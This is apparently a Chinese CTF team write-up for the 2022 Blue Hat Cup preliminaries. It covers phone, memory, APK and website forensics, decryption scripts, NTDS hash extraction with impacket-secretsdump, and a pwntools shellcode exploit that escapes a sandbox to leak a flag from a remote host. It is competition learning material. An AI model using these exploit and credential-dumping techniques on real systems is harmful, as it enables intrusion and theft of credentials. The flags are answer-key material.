【蓝帽杯2022初赛】团队write up

前言

和取证斗智斗勇了一天,做的头疼,懒得再单独搞wp了,直接放团队的了。

电子取证

手机取证_1

打开exe后直接搜索627604C2-C586-48C1-AA16-FF33C3022159.PNG,找到图片文件并导出,获取图片分辨率

flag值:
360x360

手机取证_2

搜索 姜总 查看微信群组中的聊天记录即可找到快递单号

flag值:
SF1142358694796

计算机取证_1

直接kit工具一把梭,得到密码

flag值:
anxinqi

计算机取证_2

使用命令volatility -f 1.dmp --profile=Win7SP1x64 cmdline
查看1.dmp的cmdline,发现MagnetRAMCaptu文件以及PID值

flag值:
2192

程序分析_1

使用aapt反编译AndroidManifest.xml文件,找到程序包名

1
Cmd:aapt.exe dump xmltree EXEC.apk AndroidManifest.xml

flag值:
exec.azj.kny.d.c

程序分析_2

同样使用aapt查看程序状态,找到入口

1
Cmd:aapt.exe dump badging EXEC.apk

flag值:
minmtta.hemjcbm.ahibyws.MainActivity

程序分析_3

Jeb反编译文件,找到入口的MainActivity,发现加密字符串,即为本程序的服务器地址的密文:

flag值:
aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6

程序分析_4

用jeb打开,逐个查看源码,找到一处疑似检测环境的,类名为a

flag值:
a

网站取证_1

木马肯定都是在敏感文件夹中,直接找upload之类的文件夹,发现里面没有东西,那就去找temp文件夹,最后在
\www\runtime\temp\0f71e181346d43e56722aec663e5d4e9.php
找到木马的密码

flag值:
lanmaobei666

网站取证_2

找数据库密码首先找database.php文件,这个文件在
\www\application\database.php
接下来打开后发现这样几行代码:

1
2
include ("encrypt/encrypt.php");
'password'        => my_encrypt()

那么我们跟进到encrypto.php中,发现加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function my_encrypt(){
    $str = 'P3LMJ4uCbkFJ/RarywrCvA==';
    $str = str_replace(array("/r/n", "/r", "/n"), "", $str);
    $key = 'PanGuShi';
    $iv = substr(sha1($key),0,16);
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
    mcrypt_generic_init($td, "PanGuShi", $iv);
    $decode = base64_decode($str);
    $dencrypted = mdecrypt_generic($td, $decode);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $dencrypted = trim($dencrypted);
    return $dencrypted;
}

阅读发现是AES加密,str和key都给了,iv是key的sha1的前16位,那么我们在线解密,得到数据库密码:

flag值:
KBLT123

网站取证_3

看了眼bak.sql文件发现转账记录存在tab_channel_order_list中,我就按这个名字去搜文件,然后就找到了这个文件
\www\application\admin\model\Channelorderlist.php
Salt文件的就在函数中

flag值:
jyzg123456

网站取证_4

既然直接给了解密函数就可以直接得到GG币的金额,转账金额×当天汇率的总和就是总金额了。要注意转账人和收款人的id,是id为3的向id为5的转账。这些数据在bak.sql都可以找到并对应上。
由于我太菜了,不会写脚本一次到位,因此直接手算了,下面是解密单个加密值的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$key = 'jyzg123456';
$data = 'mplslWps';
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = mb_strlen($data);
$l = mb_strlen($key);
$char = '';
$str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= mb_substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) {
$str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1)));
} else {
$str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1)));
}
}
echo $str;

flag值:
15758353.76

MISC

domainhacker

分析流量操作大概是:把数据打包成rar,移动rar,get的经典域渗透操作,解密base64找到密码:SecretsPassw0rds

提取压缩包,打开后发现是mimikazt,直接找到hash值提交即可

flag值:
flag{416f89c3a5deb1d398a1a1fce93862a7}

domainhacker2

分析流量操作大概依旧是:把需要的数据打包成rar,移动rar,get的经典域渗透操作,解密base64找到密码FakePassword123$

发现ntds.dit文件,使用指令提取ntds历史记录:

1
impacket-secretsdump -system /home/kali/桌面/1122/SYSTEM -security /home/kali/桌面/1122/SECURITY -ntds /home/kali/桌面/1122/ntds.dit LOCAL -history 

flag值:
flag{07ab403ab740c1540c378b0f5aaa4087}

PWN

EscapeShellcode

首先程序开启了沙箱,禁用了除了read和write以外的功能:

pre_shellcode的功能是将一堆寄存器置0xdeadbeefdeadbeef:

但是肯定不会将rip破坏。因此rip的值就是切入点。
由于是在堆上执行,所以rip指向的内容就是堆中的地址,根据这个地址可以计算出堆的基地址。
然后测试时用sys_write打印堆中的所有内容,发现存在有libseccomp.so映射入内存中的地址,利用这个地址可以计算出与libc的偏移,从而可以控制rsi指向libc的基地址。由于不同版本的偏移量不一样,经过测试,最终确定靶机使用的是U18.04,libc-2.27。
发现environ中有_start的地址:

通过计算可以控制rsi指向environ,再指向_start。
这样再通过计算偏移量就可以使得rsi指向flag的地址,最终利用sys_write就可以打印出flag了:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(arch='amd64',log_level='debug')

#io=process('./escape_shellcode')
io=remote('39.106.154.121',27654)

shellcode='''
endbr64
lea rsi, [rip]
mov rsp, rsi
add rsp, 0x1000
mov rdi, 1
and si, 0xf000
add rsi, 0x12d0
mov rsi, [rsi]
sub rsi, 0x60fca0
add rsi, 0x3ee098
mov rsi, [rsi]
sub rsi, 0xb8
mov rsi, [rsi]
sub rsi, 0x11a0
add rsi, 0x4120
mov rdx, 0x200
mov rax, 1
syscall
'''

shellcode=asm(shellcode)
#print(len(shellcode))

#gdb.attach(io)
io.send(shellcode)

io.interactive()

flag值:
flag{c08bbe2a-3378-4789-b146-d29947b1424b}